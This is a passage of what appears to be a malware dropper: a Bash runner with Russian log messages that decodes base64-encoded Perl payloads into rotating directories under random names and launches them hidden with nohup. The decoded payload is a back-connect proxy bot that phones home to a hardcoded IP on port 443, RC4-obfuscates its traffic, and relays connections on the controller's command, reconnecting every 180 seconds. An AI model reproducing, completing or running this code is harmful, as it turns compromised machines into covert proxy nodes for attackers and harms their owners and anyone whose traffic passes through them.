CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #56 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #56 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 57 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDMnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 